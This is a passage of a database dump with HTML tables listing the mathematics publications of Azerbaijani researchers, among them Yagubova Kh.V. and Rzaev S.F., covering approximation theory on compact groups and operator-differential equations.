solvability conditions of the boundary value problems for one class operator-differential equations of the second order</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V., Mirzoyev S.S.</p></td><td colspan=\"2\" width=\"102\"><p>Transactions of Academy of Sciences of Azerbaijan, Series of phys.-techn.and math.sciences, Baku, 2001</p><p>&nbsp;</p></td><td width=\"60\"><p>2001</p></td><td colspan=\"3\" width=\"60\"><p>v.XXI, №1,p. 126-132</p><p>&nbsp;</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>12.</strong></p></td><td width=\"155\"><p>О разрешимости операторно-дифференциальных уравнений в гильбертовом пространстве</p></td><td colspan=\"2\" width=\"91\"><p>Handwriting<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Автореферат диссерт. на соиск. ученой степени кандидата физ-мат. наук, Баку,2002</p></td><td width=\"60\"><p>2002</p></td><td colspan=\"3\" width=\"60\"><p>19p.</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>13.</strong></p></td><td width=\"155\"><p>О разрешимости операторно-дифференциальных уравнений в гильбертовом пространстве</p></td><td colspan=\"2\" width=\"91\"><p>Handwriting<strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Диссерт. на соиск. ученой степени кандидата физ-мат. наук, Баку,2002</p></td><td width=\"60\"><p>2002</p></td><td colspan=\"3\" width=\"60\"><p>123p.</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>14.</strong></p></td><td width=\"155\"><p>О разрешимости одного класса операторно-дифференциальных уравнений второго порядка в весовых пространствах</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Вестник Бакинского Университета</p></td><td width=\"60\"><p>2002</p></td><td colspan=\"3\" width=\"60\"><p>&nbsp;№3, p..125-131</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p><strong>15.</strong></p></td><td width=\"155\"><p>On the completeness of one derivative chain of the root vectors of the second order operator bunches</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V., Mirzoyev S.S.</p></td><td colspan=\"2\" width=\"102\"><p>Transactions,issue mathem. and mech.,series of phys.- technical and mathem. sciences,XXII, №4, Baku, 2002</p></td><td width=\"60\"><p>2002</p></td><td colspan=\"3\" width=\"60\"><p>XXII, №4,&nbsp;&nbsp; p.167-173</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p>16.</p></td><td width=\"155\"><p>О разрешимости операторно-дифференциального уравнения второго порядка на всей оси</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Азербайджанская экономика на пути подъема (сборник статей) , Баку, Элм, 2003</p></td><td width=\"60\"><p>2003</p></td><td colspan=\"3\" width=\"60\"><p>p.75-78</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p>17.</p></td><td width=\"155\"><p>О существовании обобщенного решения некоторой краевой задачи для одного класса операторно-дифференциальных уравнений второго порядка</p></td><td colspan=\"2\" width=\"91\"><p>Journal article</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Вестник Бакинского Университета</p></td><td width=\"60\"><p>2004</p></td><td colspan=\"3\" width=\"60\"><p>№3 p.54-59</p></td></tr><tr><td colspan=\"2\" width=\"43\"><p>18.</p></td><td width=\"155\"><p>О разрешимости одной краевой задачи для операторно-дифференциального уравнения второго порядка</p></td><td colspan=\"2\" width=\"91\"><p>Conference Proceedings</p></td><td colspan=\"3\" width=\"95\"><p>Yagubova Kh.V</p></td><td colspan=\"2\" width=\"102\"><p>Тезисы научной конференции, посвященной 70-летию чл.-корр. НАНА, засл.деят.наук, д.ф.м.н., проф.А.А. Бабаева,&nbsp; Баку</p></td><td width=\"60\"><p>2004</p></td><td colspan=\"3\" width=\"60\"><p>p.160-1</p></td></tr></tbody></table>  <br></div>'),(986,633,'az','Vuqar Aliyev','Vuqar Aliyev','<div><br></div><div><br></div><div><br></div><br><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><table cellspacing=\"0\" cellpadding=\"0\" width=\"594\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;float:left;border:1px solid #000\"><tbody><tr><td width=\"150\" style=\"vertical-align:top\">#</td><td width=\"150\" style=\"vertical-align:top\">Title of 0publication&nbsp;&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">Publications type/publication activities&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">All Authors&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">Publisher &amp; Place of&nbsp; Publication&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">Year Published<strong>&nbsp;</strong></td><td width=\"107\" style=\"vertical-align:top\">Vol. &amp; Pages</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;1</td><td width=\"150\" style=\"vertical-align:top\">43<sup>rd</sup>&nbsp;Annual Iranian Math.&nbsp; Conference.</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">&nbsp;<strong>Rzaev, S.F</strong></td><td width=\"188\" style=\"vertical-align:top\">Tebriz (August 27-30),&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2012&nbsp;</td><td width=\"107\" style=\"vertical-align:top\">93</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;2</td><td width=\"150\" style=\"vertical-align:top\">Приближение в пространстве&nbsp;&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">SuleymanovaS.A.</td><td width=\"188\" style=\"vertical-align:top\">Baku.Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2011</td><td width=\"107\" style=\"vertical-align:top\">290-291</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;3</td><td width=\"150\" style=\"vertical-align:top\">H. Whitney’s type theorems for compact groups</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">Hüseynov F.B</td><td width=\"188\" style=\"vertical-align:top\">Functional analysis and its applications Proceedines of the International Conferense devoted to the 100-th anniversary of academician Z. I. Khalilov&nbsp; Baku</td><td width=\"85\" style=\"vertical-align:top\">2011</td><td width=\"107\" style=\"vertical-align:top\">145-147</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;4</td><td width=\"150\" style=\"vertical-align:top\">Weighted Lizorkin-Tribel spaces on the unit sphere.</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">Hüseynov F.BHamzayev O.H.&nbsp;&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">Baku,Inst.math the International Conferense devoted to the 80-th anniversary of F.M.Maksudov<strong>&nbsp;</strong></td><td width=\"85\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp; 2010</td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;144-146</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;5</td><td width=\"150\" style=\"vertical-align:top\">&nbsp;Weighted Besov-Nikolskiy spaces on the unit sphere.</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">&nbsp;AdigozelovA.D.Xalilov I. M.&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">Baku,Inst.math.the International Conferense devoted to the 80-th anniversary of F.M.Maksudov</td><td width=\"85\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp;2010&nbsp;&nbsp;&nbsp;</td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;75-77&nbsp;&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;6</td><td width=\"150\" style=\"vertical-align:top\">On characterizationoffractional powers of The Dunkl operator on the sphere with the help of fractionalfinite differences</td><td width=\"75\" style=\"vertical-align:top\">&nbsp;&nbsp;ConferenceProceedings&nbsp;&nbsp;&nbsp;&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Huseynov, F.B.,</td><td width=\"188\" style=\"vertical-align:top\">Baku,State unversity International Conferense devoted to the 80-th anniversary of Y.C.Mamedov&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp;&nbsp;2010</td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp;&nbsp;89-90</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;7</td><td width=\"150\" style=\"vertical-align:top\">Weighted imultaneaously approximation on the unit sphere.</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings&nbsp;</td><td width=\"103\" style=\"vertical-align:top\">&nbsp;Huseynov, F.B</td><td width=\"188\" style=\"vertical-align:top\">Baku,Inst.math.(Riyaziyyat-Mexanika institunun 50-illik yubleyi)&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">&nbsp;&nbsp;2009</td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;362-363</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;8</td><td width=\"150\" style=\"vertical-align:top\">Generalization of Peter-Weyl approximation theorem on $L^p$..</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle</td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.</td><td width=\"188\" style=\"vertical-align:top\">Southeast Asian Bull. Math. 33</td><td width=\"85\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp;2009</td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp;&nbsp;no. 3,569--577</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;9</td><td width=\"150\" style=\"vertical-align:top\">Best simultaneous approximation on the unit sphere.</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.</td><td width=\"188\" style=\"vertical-align:top\">Int. J. Pure Appl. Math. 47&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2008<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">no. 1,141--151 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;</td><td width=\"150\" style=\"vertical-align:top\">&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">&nbsp;</td><td width=\"85\" style=\"vertical-align:top\"><em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;10</td><td width=\"150\" style=\"vertical-align:top\">Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.<strong>Rzaev, S. F</strong></td><td width=\"188\" style=\"vertical-align:top\">Int. J. Pure Appl. Math. 47Absolute convergence of lacunary Fourier series central functions. Int. J. Appl. Math. 20</td><td width=\"85\" style=\"vertical-align:top\">2007<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">no. 6,779- 786.&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;11</td><td width=\"150\" style=\"vertical-align:top\">Spline generalized spherical functions on the sphere.</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.<strong>Rzaev, S. F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Int. J. Pure Appl. Math. 31&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2006<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">no. 1,1--8 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">12</td><td width=\"150\" style=\"vertical-align:top\">Best approximation on the sphere S<sup>3</sup>&nbsp;.</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">&nbsp;Sediqhi,A.<strong>Rzaev,S.F&nbsp;</strong>&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">4<sup>th</sup>&nbsp;&nbsp;&nbsp; Iranian Geometry and Topology seminar. Department of Mathematics of Urmiya University.(13-14 September)</td><td width=\"85\" style=\"vertical-align:top\">2006<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;23</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;13</td><td width=\"150\" style=\"vertical-align:top\">Approximation theory on compact groups&nbsp;&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\"><strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">St. Petersburg branch of Steklov Math. Institute&nbsp;St. Petersburg State&nbsp; University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">74-83</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;14</td><td width=\"150\" style=\"vertical-align:top\">Spline Generalized Spherical functions on the sphere.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi E.&nbsp;<strong>, Rzaev, S.F.&nbsp;</strong></td><td width=\"188\" style=\"vertical-align:top\">Baku, Inst.math .( May 11-13 )&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">no. 1,141--142 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;15</td><td width=\"150\" style=\"vertical-align:top\">Spline on the CROSSES.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Badrkhan Alizadeh,<strong>Rzaev,S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Baku. Inst. math. (May 11-13)</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">41-43 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;16</td><td width=\"150\" style=\"vertical-align:top\">&nbsp;Direct and Inverse theoremsof approximation theory on compact groups.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Baku, Inst. math. (May 11-13)</td><td width=\"85\" style=\"vertical-align:top\">2005.<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">71-72 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;17</td><td width=\"150\" style=\"vertical-align:top\">&nbsp;Spline on the group SU(2)&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">Research Activities</td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.<strong>Rzaev,S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Tabriz university</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">no. 1--28 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;18</td><td width=\"150\" style=\"vertical-align:top\">Generalization of some theorems of approximation theory on compact groups.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi,H.<strong>Rzaev, S. F.</strong></td><td width=\"188\" style=\"vertical-align:top\">35<sup>nd</sup>&nbsp;&nbsp; Annual Iranian math. Conference. Ahvaz – Iran (January&nbsp; 26-29)</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">39</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;19</td><td width=\"150\" style=\"vertical-align:top\">Exact constant for best approximation on group SU(2).&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.<strong>Rzaev, S. F.</strong></td><td width=\"188\" style=\"vertical-align:top\">35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran (January 26-29).</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">&nbsp;&nbsp; 21 .&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;20</td><td width=\"150\" style=\"vertical-align:top\">Structural and Construction characterization of functions given on compact groups..</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi,H<strong>Rzaev, S. F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Yazd university 36<sup>th</sup>&nbsp;Annual Iranian math. conference. (September 10-13)</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">142-143.&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;21</td><td width=\"150\" style=\"vertical-align:top\">On modulus of smoothnessof functions given on compact groups.</td><td width=\"75\" style=\"vertical-align:top\">Article<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi,H.<strong>Rzaev, S. F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Dynamical Syst.and Applications (July 5-10) 2004. p. 687-694</td><td width=\"85\" style=\"vertical-align:top\">2004<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">687-694</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;22</td><td width=\"150\" style=\"vertical-align:top\">Fourier series of differentiable functions on the group SU(2).&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi E.,<strong>Rzaev, S.F.</strong>&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">Tabriz University</td><td width=\"85\" style=\"vertical-align:top\">2004<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">1-26</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;23</td><td width=\"150\" style=\"vertical-align:top\">Approximation theory on the compact symmetric space of rank one</td><td width=\"75\" style=\"vertical-align:top\">Research Activities&nbsp;<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Badrkhan Alizadeh,<strong>Rzaev, -S-.-F.</strong></td><td width=\"188\" style=\"vertical-align:top\">.Tabriz Technical (Azad University Shabestar) Institute P.O.Box: 51748-150.&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2004<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">1-32&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;24</td><td width=\"150\" style=\"vertical-align:top\">Best approximation on the group SU(2).&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi E.,<strong>Rzaev, -S-.-F.</strong>&nbsp;</td><td width=\"188\" style=\"vertical-align:top\">Tabriz University</td><td width=\"85\" style=\"vertical-align:top\">2003-2004&nbsp;<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">1-18</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;</td><td width=\"150\" style=\"vertical-align:top\">&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;25</td><td width=\"150\" style=\"vertical-align:top\"><ul style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:disc\">Spline on the group SU(2).</li></ul>&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.R Agdassi E.,<strong>Rzaev, S.F</strong><strong><strong>Rzaev, S.F</strong><br style=\"margin-bottom:10px\"></strong></td><td width=\"188\" style=\"vertical-align:top\">St. Petersburg, (July 3-8), 2003.</td><td width=\"85\" style=\"vertical-align:top\">2003<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">3.&nbsp;</td></tr><tr><td width=\"75\" style=\"vertical-align:top\">&nbsp;26</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Agdassi E.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">St. Petersburg, (July 3-8), 2003. p.3</td><td width=\"85\" style=\"vertical-align:top\">2003<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">3</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;27</td><td width=\"150\" style=\"vertical-align:top\">K-Functional and best approximation on the crosses.</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Alizadeh,-Badrkhan ;<strong>Rzaev ,S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">.Int.-J.-Compact.-Numer.-Appl. [International – Journal – of –Computational – and - Numerical- Analaysis – and - Applications]&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2003<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">Vol-4No129-41</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;28</td><td width=\"150\" style=\"vertical-align:top\">Fourier series of differentiable functions on SU(2) and SO(3)</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi E.&nbsp;<strong>, Rzaev ,S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Int.-J.- Compact.-Numer.-Appl.[International-Journal-of-Computational-and-Numerical-Analaysis-and-Applications]</td><td width=\"85\" style=\"vertical-align:top\">2003<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">Vol-4No,143-50&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;29</td><td width=\"150\" style=\"vertical-align:top\">&nbsp; Some constructive theorems of approximation theory on compact groups.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Tabriz University&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2002-2003<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">1-26&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;30</td><td width=\"150\" style=\"vertical-align:top\">Approximation of continuous functions on compact groups..&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">33<sup>th</sup>&nbsp;.Annual Iranian Math.&nbsp; Conference. Mashhad univ.</td><td width=\"85\" style=\"vertical-align:top\">2002<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">32</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;31</td><td width=\"150\" style=\"vertical-align:top\">Harmonic analysis on compact groups and applications of Approximation theory:&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">Research Activities<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">Tabriz, Res. Inst, Fund. Sci.&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2001-2002<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">1-24&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;</td><td width=\"150\" style=\"vertical-align:top\">&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;32</td><td width=\"150\" style=\"vertical-align:top\">Jackson\'s theorem for compact groups..&nbsp;</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Aghdassi,E.</td><td width=\"188\" style=\"vertical-align:top\">35<sup>th</sup>&nbsp;annual Iranian conference. Ahvaz – Iran(January</td><td width=\"85\" style=\"vertical-align:top\">2005<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">21.&nbsp;</td></tr><tr><td width=\"75\" style=\"vertical-align:top\">&nbsp;33</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">&nbsp;[Approximation&nbsp; Theory-and-its-Applications.-New- Series]</td><td width=\"85\" style=\"vertical-align:top\">2002<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">Vol-18no. 3,79—85</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;34</td><td width=\"150\" style=\"vertical-align:top\">Absolutly convergence of Fourier series from group point of view.&nbsp;</td><td width=\"75\" style=\"vertical-align:top\">ConferenceProceedings<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\">Vaezi, H.,<strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\">32<sup>th</sup>&nbsp;annual Iranian conference. &nbsp;Mazandaran University&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">2001<em>&nbsp;</em></td><td width=\"107\" style=\"vertical-align:top\">68&nbsp;</td></tr><tr><td width=\"150\" style=\"vertical-align:top\">&nbsp;35</td><td width=\"150\" style=\"vertical-align:top\">L<sub>2</sub>- Approximation on the compact groups.</td><td width=\"75\" style=\"vertical-align:top\"><strong>A</strong>rticle<strong>&nbsp;</strong></td><td width=\"103\" style=\"vertical-align:top\"><strong>Rzaev, S.F.</strong></td><td width=\"188\" style=\"vertical-align:top\"><ul style=\"margin:0px;padding:0px;list-style:none\"><li style=\"margin:0px;padding:0px;list-style:disc\">Materials of scientific conference. The questions on functional analysis and math. Physics. Baku, University</li></ul>&nbsp;</td><td width=\"85\" style=\"vertical-align:top\">1999</td><td width=\"107\" style=\"vertical-align:top\">418-419&nbsp;</td></tr><tr><td width=\"150\" 